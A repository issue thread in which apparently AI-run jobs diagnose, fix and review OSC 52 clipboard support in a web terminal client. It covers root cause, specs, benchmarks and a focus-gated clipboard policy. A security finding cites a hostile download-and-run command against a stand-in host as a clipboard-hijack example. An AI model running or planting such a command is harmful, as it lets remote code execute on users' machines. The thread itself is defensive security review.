Remote clipboard: OSC 52 writes from programs never reach the browser clipboard (J398) #440
Open
opened 2026-11-08 23:37:31 +00:00 by kayg
·
12 comments
No Branch/Tag specified
main
j470b-server-mesh-rejoin
mesh-compat-382
j444b-d381-key-wins-flood
j461b-macos-utun-reader-thread
j475b-remove-host-motion
fix-reconnect-new-link
j481-d380
dev
j479-mesh-soak
fix/j476-host-facts
j475-motion-pill-split
j470-mac-node-join
root-upgrade-d376
j474-review-merge
latency-targets-120hz
nightly-suite-shards
gotatun-pin-j469
macos-utun-reader-thread
fix-flood-echo-stall
wip/j416
motion-fast-ease-out
mesh-addhost-j259
takeover-close-terminals-d368
kbd-instant-followups
fix-trust-key-double-click
nightly-suite-partial-report
appwin-icons-j207
rusqlite-slice1
swipe-content-first-d374
mesh-mtu-381
addhost-instant-open
glass-contrast-d365-mock
glass-contrast-d365
signout-followups-442
fix-startup-toast-red
research-gotatun-matrix-j317
themes-sync-j304
fix-load-flakes
fix-nix-zig-patch
fix-compute01-browser-baseline
ratchet-size-baseline-419
predict-auto-d130
revoke-coverage-d367
nightly-suite-queue-timeout
nightly-browser-suite
fix-rustsec-2026-0459
fonts-ioskeley-obel
log-retention-d375
fix-kbd-no-anim-427
fix-dev-red-specs-2
takeover-proof-305-j205
wip/j410-server-pump
ui-consistency-d372
fix-osc52-clipboard
libghostty-vt-1.0
forget-retired-host-d369
j404-merge-426
fix-setup-lock-race
fix-touch-select-426
revoke-access-report-ui
fix-predictive-echo-specs
fix-selinux-agent-exec
wip/j395-checkpoint2
wip/j395
j391-review-scratch
ui-consistency-j195-deferred-rebased
fix-rustc-paths-421
decisions-wording-341
fix-install-suite-red
fix-dev-rtt-specs
fix-pending-removal-align
fix-privileged-skip
fix-install-suite-404
review-j368
mesh-dns-j254
revoke-access-report-d356b
revoke-privilege-round5
fix-removal-confirm
review-j360
gotatun-rotation-367
deps-refresh-340
review-j354
review-J351
review-j350
addhost-takeover-d359
revoke-report-items-347
revoke-end-sessions-d362
review-j348
size-mesh-ssh-346
size-trim-337
revoke-access-diff-d356
j259-pre-rebase-b06c5a6
j305-ended-at-start-spec
addhost-sudo-consent
fix-layout-real-specs-411
fix-shell-open-411
fix-console-hosts-373
fix-shell-exit
fuzz-host-name-353
fix-host-details-410
macos-filter-j197
research-gotatun-tricks
revoke-p3-j216l
stale-state-pill
revoke-followups-j216k
revoke-progress-j216e
backup/macos01-20261106/lume/j197
backup/macos01-20261106/lume/appwin-icons-j207-stash0
backup/macos01-20261106/claude/stash-0
backup/macos01-20261106/claude/stash-1
backup/macos01-20261106/claude/J80-macos-s1
backup/macos01-20261106/claude/J80
backup/macos01-20261106/claude/J80-slice1-20261102
backup/macos01-20261106/claude/J16b-appwin-on-dev
backup/macos01-20261106/claude/appwin-launch-idle-146
backup/macos01-20261106/claude/J80-s1-run
wip/j259
trust-285-p3c
runtime-lock-j216f
mesh-ssh-p3-j175
tun-proof-p3b
trust-285-p3
terminal-polish-j271
tun-proof-p3
ssh-install-flakes-j216i
fuzz-fixes-j264
trust-285-a
trust-285-b
restart-oversized-fixture-j198
backup/macos01-20261106/lume/appwin-icons-j207
restart-bound-j216h
up-preflight-p3-j198
backup/macos01-20261106/lume/j251
up-preflight-j198
wip/up-preflight-j198-j245-p2
wip/up-preflight-j198-j245-p1
agent-fsync-offloop-j196
wip/up-preflight-j198-j245
settings-offscreen-j231
wip/up-preflight-j198-j226-inspection
wip/j103f
themes-j206
wip/up-preflight-j198-j226
flakes-j216c
backup/macos01-20261106/claude/j197
flakes-j216b
backup/macos01-20261106/claude/j197-red
wip/up-preflight-j198-review
flakes-j216
backup/macos01-20261106/claude/appwin-icons-j207
engineering-j208b
appwin-mock-j209
toast-stack-j165
engineering-j208
decisions-d351
decisions-d350
decisions-d349
appearance-presets-mock-j129
decisions-d348
docs-audit-spec
doc-coverage-baseline-raise
decisions-d347
decisions-d346b
decisions-d346
j88h-profile
ui-consistency-j195-deferred
ui-consistency-j195
engineering-practices-j194
preferred-login-ui-j166
signin-pools-263-j174
macos-node-265-s1
decisions-d345
decisions-d344
proxy-cgroup-j164
verify-quick-fuzz-329
proxy-start-io-j168
timing-flakes-j163
up-263-s1
mcp-events-j147
verify-quick-fuzz-j158
proxy-p3-j159
agent-resource-j157-detect
wip/j103d-final
remote-cancel-hang-j155
proxy-traefik-281-j62d
j149-verify-quick
proxy-traefik-281-j62b
j150-drop-unnamed
wip/j79d-red-r4
wip/j103d-d332
rootless-toast-j142
wip/j103d-head
wip/j103d
j125c-mcp
macos-build-j136
backup/macos01-20261106/claude/j136
wip/j79d-red-cli
wip/j79d-red-server
j121-link-liveness
j118c-tracer-failures
wip/j79c-head
release-desktop-j131
j124c-signed-macos
wip/j79c-red-p3
wip/j79c-red-p23
wip/j79c-red-p22
merge-j128-check
perf-deferred-j128
sidebar-toggle-260
j127-shortcut-changed-dot
j125-mcp
j118-tracer-failures
j126-account-summary
settings-sections-mock-j92
j120-pinch-lock
sidebar-292
backup/macos01-20261106/claude/j120
taste-2026-11-03
row-actions-242-215
backup/macos01-20261106/claude/stash-0-untracked
backup/macos01-20261106/claude/J80-265-s1-run
backup/macos01-20261106/claude/J80-macos-s1-20261102
j112-canvas-commands
ui-no-overshoot-scroll
fix-recovery-restart
backup/macos01-20261106/claude/stash-1-untracked
taste-2026-11-02
size-baseline-ratchet
machine-cards-structure-j108
j109-boot-copy-mockups
fix-dev-red
wip/up-263-s1
j95b-settings-rows
proxy-traefik-281
j95-option-rows
docs-human-j91
docs-keys-palette
fix-flood-1013-270-j38d
mesh-ssh-s1
mesh-ssh-s0
addhost-d291-tunnel
test-stability-load
mesh-relay-220
repro-296
shim-thp-off-24
mesh-pins-258-v2
mesh-dns
signin-d311-merged
docs-pages
ui-size-283
fix-ui-batch-specs
wip/j12b-edge-update
gate-on-arm
fix-rename-sync-293
trust-285-j60b
fix-focus-ring-clip
integ-ui-1101
edge-update-v2
signin-d311
taste-2026-11-01
layout-per-tab-250
ui-approved-splitopt-224
ui-approved-splitopt-224-on-dev
icon-text-centre-282
ui-approved-189-212-216
research-reverse-proxy
transfer-budget-320
review-mesh-pins-258-r2
sidebar-pill-259
review-mesh-relay-220
wip/j12-edge-update-v2
nix-package
status-crash-loop-237
fix-dev-test-failures
fix-fixture-socket-path
wip/mesh-relay-220-pre-dev-advance-rebase
fix-canvas-side-clip
research-head-to-head
frosted-real-256
review-mesh-pins-258
wip/mesh-relay-220-pre-final-rebase
review-layout-per-tab-250-r2
broad-suite-triage
nix-devshell
review-status-crash-loop-237-r3
wip/nix-devshell-pre-p3
taste-frosted-real
wip/code-serve-demo-2026-10-30
wip/code-serve-glass-2026-10-30
wip/code-serve-clusters-2026-10-30
wip/code-merge-release94-dev-2026-10-30
wip/rproxy-delta-scratch-2026-10-30
wip/stale-note-257-staged-2026-10-30
wip/d241-size-staged-2026-10-30
review-broad-suite-207
wip/mesh-pins-258-pre-split
wip/mesh-relay-220-pre-rebase
mesh-measure-220
plan-211-update
review-edge-autoupdate-r3
perf24-reconnect
review-stale-note-r2
release-prod-live
d241-shell-marker
review-mesh-pins-server-258
review-revocation-r3
review-setup-token-r2
review-sync-journal-r3
wip/review-mesh-pins-258-prune-review-1995fee46
frosted-scroll-256
sync-journal-r3
revocation-per-account-wip
review-tokio-asyncfd-0386
review-sync-p3s
wip/stash-8by64-stash0-2026-10-30
mesh-drag-r2
setup-token-data-wip
release-9-4
auth-busy-1013
mesh-view-overlap
sync-p3s
review-auth-busy-wake
review-readd-r8-wip
mesh-drag-bounds
audit-auth-93
app-windows-stream-start
review-authority-cap-r3
app-windows-r7-measure
readd-minimal-r6
readd-minimal-r5
app-windows-r7-soak
readd-minimal-r4
app-windows-r7
app-windows-r6
readd-minimal-r3
readd-minimal-r2
readd-minimal
merge-release8-dev
review-busy-page-liveness-r2
review-busy-page-liveness
mesh-view-trim
review-authority-read-retry-r2
review-remove-uninstall-r2
release-retry-reattach
release-retry
review-remove-uninstall
review-authority-read-retry
app-windows-ship
mesh-autoswitch-p2
mesh-ssh
mesh-relay
mesh-macos-node
screen-and-control
session-labels
review-real-logins-r5
review-real-logins-r4
review-real-logins-r3
shim-memory-r2
review-real-logins-r2
shim-memory
shadow-addhost-instant
shadow-real-logins
shadow-same-session-flood
shadow-prod-perf-fix
hosts-from-server
app-windows-real
app-windows-transport
release-prod-6w
mesh-policy-verify
quiet-close-toast
dev-merge-r4
review-mesh-agent-transport
review-app-windows-transport
settings-roundtrip
review-release-pipeline-r4
mesh-agent-transport
ended-strip-fix
review-audit-ca-update-d244
settings-rows
phone-width
signout-clear
fix-restart-tests
dev-merge-rp
signer-hardening
review-audit-ca-update
terminal-fidelity
review-audit-ca-update-wip
mesh-integrate
review-mesh-agent-transport-515d3712
review-mesh-dataplane-feec1988
mesh-dataplane
signout
research-canvas-node
wip/review-renderer-cost
wip/review-terminal-fidelity
padlock-glyph
review-release-pipeline-2e95b689
phone-polish
sidebar-polish
inbox-generic
review-mesh-dataplane-378d4055
prod-batch
ui-inbox
ui-ca-unlock
ui-machine-sections
review-mesh-dataplane-a5f744fb
tls-session-prod
session-bounds-prod
fix-dead-session
session-bounds
tls-session
palette-polish
shortcuts-d222
research-appmeta
phone-gutter
ui-centre-button
wip/ui-centre-button
wip/tls-session
review-addhost-breakit
ui-platform
renderer-cost
remote-agents
mesh-api
ssh-bootstrap
prod-hotfix2
prod-fixes
review-remote-agents
review-mesh-dataplane
session-life
research-browser
review-mesh-api
research-capture
review-mesh-api-round3
review-mesh-api-round1
gate-stability
review-gate-stability
review-relay-direct
review-mesh-api-findings
proto-sessions
font-picker
proto-addhost
proto-windows
mesh-core
latency-gate
research-bsd
research-discovery
keytray-mods
mock-core
ui-tweaks
fix-motion-sel
fix-motion
integrate2
fix-robust
t-web
t-server
vt-ghostty
fix-snap-echo
t-web-auth
review-vt2
t-agent
lane-protocol
lane-shim
lane-auth
s1-base
s1-contracts
s1-workspace
No results found.
No labels
launch-qa
Milestone
Clear milestone
No items
No milestone
Projects
Clear projects
No items
No project
Assignees
Clear assignees
No assignees
1 participant
Notifications
Due date
The due date is invalid or out of range. Please use the format "yyyy-mm-dd".
No due date set.
Dependencies
No dependencies set
Reference
kayg/infraternal#440
Loading…
Reference in a new issue
No description provided.
Delete branch "%!s()"
Deleting a branch is permanent. Although the deleted branch may continue to exist for a short time before it actually gets removed, it CANNOT be undone in most cases. Continue?
J390's review (#419, comment 87890) ran a real-terminal smoke test through a branch server: a program's OSC 52 clipboard copy (
printf '\e]52;c;%s\a' "$(printf hello | base64)", or tmux/vim/neovim set-clipboard) did not reach the browser clipboard, on the libghostty 1.0 branch and on unmodified dev.Job J398 (Claude Sonnet 5.5). Branch
fix-osc52-clipboard, base origin/dev0a5432d2c.Plan: (1) find where OSC 52 is lost (shim, protocol/server, browser); (2) red browser spec on a production build; (3) fix the root cause; (4) gate at 1440x900 and 393x852 x3 plus
verify quick; (5) say whether production is affected.Estimate: ~3 h.
First finding (static reading): the vendored ghostty-web only scans written data for OSC 0/1/2 (
checkForTitleChange); its public API has no OSC 52 hook. apps/tracer/src has no OSC 52 code. Confirming at runtime next.Start. Branch
fix-osc52-clipboardfrom origin/dev0a5432d2c. Worktree oncode:~/Developer/Worktrees/infraternal-j398.Finding 1 (client is where OSC 52 is lost; evidence from reading dev):
terminal_queries.rshandles reply routing; the shim'sterminal_limits.rstrims control strings to 4096 bytes for its own VT state, not for the stream sent to browsers — to be confirmed with a >4 KiB payload).apps/tracer/vendor/ghostty-webonly scans written data for OSC 0/1/2 titles (checkForTitleChange);grepfor OSC 52/clipboard in the wrapper.d.ts, the JS bundle andapps/tracer/srcfinds nothing. The wasm VT parses the sequence and drops it.DECISIONS.mdhas no entry for terminal-program clipboard writes (only VNC clipboard, D343/Q5), so no designed "Copy" prompt exists. Plan: intercept OSC 52 at the client's live-output write wrapper (terminal.ts), write withnavigator.clipboard.writeText; when the browser refuses (no gesture/permission, e.g. Safari), keep the text and show the shared toast with a "Copy" action, whose tap is the gesture. Never answer the?read form; never act on replayed/snapshot bytes.Progress (pushed to
fix-osc52-clipboard):24ac828e1red specapps/tracer/test/osc52-clipboard.spec.ts(4 cases x 2 viewports: allowed write, refused/read/empty/bad writes, refused-write "Copy" fallback, replay silence).cfcce9c2capps/tracer/src/osc52.tsscanner +osc52.test.ts.6e4963d34wired into the live-output path ofterminal.ts; "Copied from the terminal" notice, or a "Copy" action on the shared toast when the browser refuses the write.Finding 2 (security/policy, for the owner to know): auto-writing the clipboard from terminal output lets any program (or a
catof hostile text) replace the clipboard. Mitigations in this change: write-only (never answers?), never clears, 1 MiB cap, and a visible notice on every copy. Not added: an off switch or per-host allow-list; that is a UX/policy choice for kayg.Queue: one dev-02 slot run (red on the test-only commit, unit tests, typecheck, green spec
--repeat-each=3) is queued as pid 652717; log~/j398-run.logon dev-02, evidence~/j398-evidence. Next: real-terminal check on https://test.ssh.kayg.org to answer "is production affected".Finding 3 (test-server probe: inconclusive, not evidence). I signed in to https://test.ssh.kayg.org with
test-admin-signin.tsand ranprintf '\033]52;c;%s\a' "$(printf hello-j398 | base64)"through the command palette's "Open shell on ssh". The clipboard stayed at its sentinel, but the shell never opened: the page shows "This server runs without root, so it can only open shells as its own user. Add a host to work elsewhere." So this run proves nothing about a real terminal; I am not counting it. Getting a real PTY there needs an added host (extra scope), so I am not doing it unless asked. Probe script:~/infraternal-ops/j398-probe.tson compute01; screenshot~/j398/04-after-osc52.pngthere.Is production affected? By code, yes: production serves the same client bundle, and the client has no OSC 52 path (vendored renderer drops it; no code in
apps/tracer/src). The red spec on a production build of the client will show it at runtime (run queued on dev-02).Finish. Branch
fix-osc52-clipboard, head81997ecf38fe0be93a80de6849ac9a78f3de28cd, base origin/dev0a5432d2c.Cause: the browser client never read OSC 52. The vendored renderer parses it and drops it; the shim and server only relay bytes. No clipboard-write path existed, and no designed fallback.
Fix:
osc52.tsscanner on the live output path, writing via the sharedwriteClipboard; "Copied from the terminal" notice, or a "Copy" action on the shared toast when the browser refuses (tap = gesture). Replayed output is scanned silently.Gates (dev-02, logs
~/j398-run.log,~/j398-gate.log,~/j398-quick.log):24ac828e1: 8 failed (all 8 cases).bun test src/osc52.test.tsandbun run checkexit 0.scripts/verify quickexit 0 (after the doc-comment commit):Production affected: yes by code (same client bundle, no OSC 52 path). Real-terminal proof on test.ssh.kayg.org was not obtained (its server cannot open a shell without an added host); see finding 3.
Not run:
verify fast. Open points for kayg: policy on auto-writing the clipboard (finding 2); the shim trims control strings to 4096 bytes for its own state, which I did not test against browser streams.J399 review start. Reviewing
fix-osc52-clipboard@81997ecf3(base = origin/dev0a5432d2c, so merging current dev into a scratch worktree is a no-op merge). Reviewer is independent of J398.Plan: (1) read scanner + wiring; (2) bun unit tests + fuzz/adversarial cases on the scanner; (3) hot-path throughput measurement on dev-02 (large output burst, scanner on vs off); (4) specs at 1440x900 and 393x852 on dev-02 via build-slot (slots currently all busy, queued); (5) real-terminal long-copy test (3 KB / 64 KB / 900 KB) against a branch server on compute01; (6) UI screenshots ink + paper. Note: the common brief says reviewers do not run
verify quick; this task asks for it explicitly, so I run it once on the merged scratch worktree.J399 finding: hot-path cost of
Osc52Scanner.scan(measured, not a defect).Machine: dev-02 (aarch64, load avg ~3.3-4.4, shared, so absolute numbers are noisy; this is not the perf VM). Harness: scratch script outside the repo, 64 MiB of synthetic output fed as 1 / 16 / 64 KiB chunks, best of 5 after warm-up, run under bun 1.4.4 (JavaScriptCore) and node 26 (V8). Files on dev-02:
~/j399-evidence/bench-bun.txt,~/j399-evidence/bench-node.txt, script~/j399-bench.ts. Each row is compared with the existingTerminalQueries.scan, which runs on the same chunk.indexOf)Reading: the new scan adds a per-chunk cost of about 1 us on plain output and at most ~0.1-0.2 ms on a 64 KiB chunk of escape-dense output; it is ~1.7x cheaper than the scanner already running beside it, so it adds roughly +40-60% to the existing scan cost on coloured output and nothing measurable on plain output. Against a 16 ms frame that is below 1.2% even in the worst case. Measurable per chunk, not measurable at frame level; I did not find a regression. (Not measured: an end-to-end flood on the perf VM; the production flood budget row is the place for that if the owner wants a number there.)
J399 progress: specs and UI (dev-02, branch head
81997ecf3= origin/dev0a5432d2c+ 5 commits; merging current dev was a no-op).bun test src/osc52.test.ts: 7 pass, 0 fail (47 expects).osc52-clipboard.spec.tsx 2 viewports: 8 passed; plus my scratch UI spec (not committed): 4 passed. Run log~/j399-evidence/spec-run.logon dev-02:12 passed (2.6m),SPEC_EXIT=0.~/j399-evidence/ui/on dev-02, plus the branch spec's own in~/j399-evidence/pw/osc52/..ui-toast(placement: parent, same as the input-resend notice), 14.3 px (desktop) / 16 px (phone) type from the shared tokens; label, icon and action centre lines equal within 0.01 px; the Copy action is 35 px high on desktop and 44 px on touch; a second copy replaces the first (still 1 toast). Visually it matches the product (ink and paper).Long-copy end-to-end on compute01 (real PTY via a root-run throwaway server) is queued; first two attempts failed on my harness (shared agent runtime dir; a non-root server cannot open shells), not on the product.
J399 findings (evidence in
~/j399-evidence/on compute01 and dev-02).Long-copy end to end (real PTY, real shim, real server run as root on compute01, real Chromium, branch tracer bundle). Server binary: a prebuilt dev-derived release build (the branch changes no Rust). A shell opened through the palette; each case runs
printf '\033]52;c;%s\a' "$(seq 1 400000 | head -c N | base64 -w0)"and the page's clipboard is compared with the expected text by length and SHA-256 prefix. Results (~/j399-evidence/root/longcopy-results.json, run log~/j399-evidence/longcopy-run3.log):s(500 B)0(cut buffer)?query, then empty writetmux set-buffer -win a real tmuxcatof a file with a hostile OSC 52The shim's 4096-byte limit does not reach the browser: it filters only the shim's own terminal state (
terminal_limits.rs, and only in the opt-inprocess-per-userhost); the raw PTY bytes are appended to the ring unfiltered (user_host.rs,ring.append(&bytes[..used])afterterminal.process). The 700 KB and 786,432 B copies arrived intact, which fits that. Caveat: I did not run the opt-inprocess-per-userhost.P2-1: a copy over the cap is dropped silently. The cap is 1,048,576 base64 characters, which is 786,432 bytes (768 KiB) of text, not 1 MiB. A 900 KB copy from vim, tmux or a pipe does nothing and shows nothing; the person pastes the old clipboard and sees stale text with no clue why (
osc52.tsStep.Skip; evidence: the 900k row above, the notice counter stayed at x4). Fix: show a notice naming the failure ("Too large to copy from the terminal"), so it is never silent; raising the cap is a separate choice for the owner.P2-2: nothing limits the write to the focused terminal. Every
TerminalClienthas its own scanner andremoteCopychecks onlythis.closed(terminal.tswriteQueryResponses/remoteCopy). So an unfocused window, one scrolled off the canvas, or a background tab can replace the clipboard, and its notice appears in its own window, which may be off screen. This is from reading the code; I did not run a two-window case (the test double has one session). It matters for the security point below and for TASTE ("A toast's action says what it does" / no rogue notifications: a notice nobody can see is worse than none). Suggested behaviour (TASTE: pick the right behaviour per situation instead of offering a setting): the focused terminal writes and says so; an unfocused or hidden one keeps the text behind the "Copy" action in its own window, or says nothing and writes nothing.P3-1:
writeClipboardfalls back tolegacyCopy, which focuses a hidden textarea and restores focus. Outside a user gesture the async write is refused and this path runs while the person may be typing in the terminal; it briefly moves focus (could disturb an IME composition). Prefer the async API only for background writes, then the Copy action.P3-2: the notice sits at the bottom of the window and covers the bottom rows (the prompt) for 1.8 s, or up to 15 s with the Copy action; on a phone the fallback message wraps to two lines. It matches the shared toast look and alignment (centre lines within 0.01 px, 44 px action on touch).
P3-3: small scanner details, safe direction, no action needed unless wanted: a UTF-8 byte-order mark is stripped from the copied text; CAN/SUB inside a text run is not treated as a cancel (the whole string then fails to decode and is dropped); URL-safe base64, non-UTF-8 text and 8-bit OSC (0x9d) are silently ignored; unpadded base64 and a tmux passthrough (
ESC P tmux; ESC ESC ] 52 ...) are accepted (/tmp/j399-adv.tsoutput).Security. Any program in a terminal, or a
catof hostile text (an old log, a README, a web page saved to disk), can replace the clipboard with text it chooses; the person's next paste then runs it (shown above:curl evil.example | sh). The only visible signal is a 1.8 s "Copied from the terminal" notice inside that window. It is write-only (?is never answered), so nothing is read out of the clipboard, which is the part that would leak secrets. Options for the owner: (a) keep as is; (b) a setting or per-host allow-list for auto-write, off or on; (c) never write on its own: always show the "Copy" action and let the tap write (the safest, and what Safari already forces); (d) write on its own only for the focused terminal and only shortly after the person typed there, otherwise show the Copy action. Option (d) with P2-2 is my recommendation: it keeps tmux and vim copying as people expect and stops background and idle output from touching the clipboard. Not blocking.J399 final: REQUEST CHANGES (reviewed
81997ecf3; origin/dev0a5432d2calready contained, merge was a no-op).Gates:
bun test src/osc52.test.ts7 pass / 0 fail. Browser specs on dev-02 (production tracer build): branch spec 8/8 plus my 4 scratch UI cases,12 passed (2.6m),SPEC_EXIT=0(~/j399-evidence/spec-run.log).scripts/verify quickon the merged scratch worktree: exit 0, all 10 rows PASS incl. tracer typecheck, doc comments on diff, fixed test waits (~/j399-evidence/quick.log; the common brief says reviewers skip quick, this task asked for it, so I ran it once).verify fastnot run (author's job; not asked).Long copies (real PTY, root-run throwaway server on compute01): 3 KB, 64 KB, 700 KB and the exact cap 786,432 B reach the browser whole (length and SHA match). 900 KB is dropped with no notice (P2-1). The shim's 4096-byte trim does not touch the live stream.
Hot path: ~1 us per chunk on plain output; 42-91 us (coloured) and 83-175 us (worst case, ESC every ~7 B) per 64 KiB chunk; about 1.7x cheaper than the existing
TerminalQueries.scanbeside it. No measurable frame-level cost.Findings: P2-1 over-cap copy silent (add a notice). P2-2 any terminal, focused or not, can write the clipboard and its notice may be off screen (gate on focus; unfocused keeps the Copy action). P3: legacy copy path steals focus outside a gesture; notice covers the prompt rows and wraps on phones; scanner edge cases (BOM stripped, CAN mid-run, URL-safe/non-UTF-8 ignored). Security options (a)-(d) described above; owner decides, not blocking. TASTE check (ink and paper, 1440x900 and 393x852): shared toast, tokens, alignment and 44 px touch target all fine.
Not done: no two-window runtime case (test double has one session), P2-2 is from code reading;
process-per-userhost not run. Cleanup: root server and its two shims stopped by PID,/root/j399, token, dist, target removed; worktrees~/worktrees/j399(both VMs) left for the orchestrator.Review fixes (J399), head
31ebfc6251e116bb4cece5580864a907a765f074(confirmed withgit ls-remote:31ebfc6251e116bb4cece5580864a907a765f074). Merged origin/dev6b60f1fb7first (ba20589dd).onTooLarge); notice "That copy was too large for the clipboard"; clipboard untouched. Docs now say 1,048,576 base64 chars = 786,432 bytes of text (not "1 MiB").mayCopyWithoutTap()is the single decision point (focused terminal on a visible page); anything else, or a refused write, offers "From " + Copy and never writes. A policy change is a one-function edit.writeClipboard(text, { legacy: false })for program-started copies; the focus never moves (spec logs focusin: none).ToastController.setEdge), one line on a phone. See screenshots.Caveat on the two-window spec: the mock server serves one terminal per page connection (a second attach closes the socket), so a live two-window spec is not possible without rebuilding it.
osc52-focus.spec.tsmodels the other window by what the code checks (focus outside the terminal host) and counts everynavigator.clipboard.writeTextcall to prove none happens by itself. Say if you want the mock extended for a true two-window run.Gates (dev-02; logs
~/j398-r2.log,~/j398-r4.log,~/j398-r5.log):74abce18d): over-cap, refused-write placement and legacy-focus cases failed; the first two-window attempt could not run (see caveat).48 passed (10.1m)on64e76c1af; unit tests andbun run checkexit 0.scripts/verify quickexit 0 on31ebfc6251e116bb4cece5580864a907a765f074:Not run:
verify fast/iterate. Screenshots attached: phone and desktop prompt (top and bottom), too-large, unfocused offer.D373 switch, head
a87c7eae8bdca3f3bc4a7e8959e1b894b733495c(git ls-remote:a87c7eae8bdca3f3bc4a7e8959e1b894b733495c). Merged origin/dev411b49aa8first (cb56e3867). The earlier round (over-cap notice, focus-only writes, P3 fixes) was already finished and pushed.85af04e94). Off: every program copy shows the Copy action and nothing is written; read at each copy insidemayCopyWithoutTap().local-pref.tswith a change event, the same way the Extended info switch is stored. I found no real per-account preference store: the toolbar's account layout is a test-double endpoint, and the server-backed Settings rows (product-source.ts) cover only the key lifetime, with the rest waiting on server settings. A server-stored version would be backend work, so I did not start it. Say if you want it per account.Gates (dev-02; logs
~/j398-r6.log,~/j398-r7.log):81 passed (15.5m)on85af04e94;bun run checkexit 0.scripts/verify quickexit 0 ona87c7eae8bdca3f3bc4a7e8959e1b894b733495c:Not run:
verify fast. Screenshots attached: switch on/off and the off-state offer, desktop and phone.J412 review: APPROVE (reviewed
a87c7eae8bdca3f3bc4a7e8959e1b894b733495c, the newest head; merged origin/dev0414b7b2finto a scratch worktree, clean,14c3b8179). No P1, no P2.Fix checks
mayCopyWithoutTap()is the single decision: setting on, page visible, focus inside this terminal's host. Anything else offers "From " + Copy and writes nothing. Passed, and see the two-page run below.writeClipboard(text, { legacy: false })for program-started copies; the spec logs no focus change. The Copy tap still uses the legacy path (right: it is a gesture).setEdge); the prompt rows are clear in every case below.osc52-setting.spec.tspassed: on by default, off is remembered across reload, off = Copy action only and zerowriteTextcalls, on again = lands at once. Per-device storage not counted, per the owner's note.writeSuppressingTerminalResponseswith no callback, and a sequence that starts in replay is flaggedreplayed, so one straddling the replay fence cannot write. Specs "a copy in replayed output after a reconnect…" passed (desktop + phone).indexOfper chunk on plain output, run once per live chunk before the query branch; unchanged since J399's measurement (~1 us plain, 42-175 us per 64 KiB on escape-dense output, cheaper than the query scanner beside it). I did not re-measure; the only scanner change since is theonTooLargecall on the over-cap path.Is the two-window spec enough? No, on its own.
osc52-focus.spec.tsruns one terminal and only moves focus out of its host, so it proves the predicate, not that two clients stay independent. I added a live check (scratch, not for the repo:~/j412-evidence/specs/zz-j412-two-pages.spec.tson dev-02): two pages, two realTerminalClients attached to one mock session, oneOSC 52sent to the live stream. Result: the focused page wrote the clipboard exactly once and showed "Copied from the terminal"; the other page showed "From …" + Copy, wrote 0 times, and the clipboard held the focused page's text. Then the roles swapped and it held again. Passed (28 passed (5.5m)for the whole run, log~/j412-evidence/spec-run.log,SPEC_EXIT=0). I consider that enough proof for the policy. It is not two windows in one canvas, so the shared-page case rests on code reading: each client has its own scanner, its own toast and its own key (remote-copy-N), andhost.contains(activeElement)cannot be true for two hosts at once.Gate results
bun test src/osc52.test.ts: 8 pass, 0 fail.scripts/verify quick(merged tree,VERIFY_QUICK_BASE=origin/dev): exit 0, all 10 rows PASS incl. doc comments on diff, fixed test waits, ui literals, tracer typecheck (~/j412-evidence/quick2.log). A first quick run failed "doc comments on diff" only because my own scratch specs were in the tree; I moved them out and it passed.verify fast(author's gate), per the brief.Phone, 393x852 and 375x667, ink and paper (production build, real shared toast; scratch spec
zz-j412-phone.spec.ts, shots in~/j412-evidence/pw/j412/, attached below). The notice never covers the prompt: bottom prompt rows 720-771 (393x852) and 533-584 (375x667) with the notice at y 163-224; prompt at the top puts it at y 636-697. It stays inside the viewport (x 13-380).P3-1: the offer does not always stay on one line on a phone. Two cases: (a) at 375x667 a long host name ("From infraternal…", cut to 11 characters) wraps "From" and the name onto two lines; at 393 it fits. (b) A second copy while the first offer is still up shows "×2" (the toast's repeat counter, same key), and at 393x852 that wraps too ("From infraternal… ×2", two lines). The prompt is still clear and the Copy action stays 44 px, so this is polish, not a blocker. Suggest dropping the repeat counter for these notices, or shortening the name further (6-8 characters) / hiding "From".
P3-2: top-edge offset
top: 3.25remis a literal that assumes the window header height. It looks right in both phone sizes (the notice sits under the header). I could not check a desktop multi-window canvas, where headers can differ.P3-3: the shared-page two-window case is by reading, not run (see above); a mock that serves two sessions to one page would close it.
Cleanup: no servers or browsers left running; scratch worktree
~/worktrees/j412removed; evidence kept in~/j412-evidence/.Verdict: APPROVE. Reviewed SHA
a87c7eae8bdca3f3bc4a7e8959e1b894b733495c. Gates: specs 28/28 passed,bun test8/8,verify quickPASS (exit 0).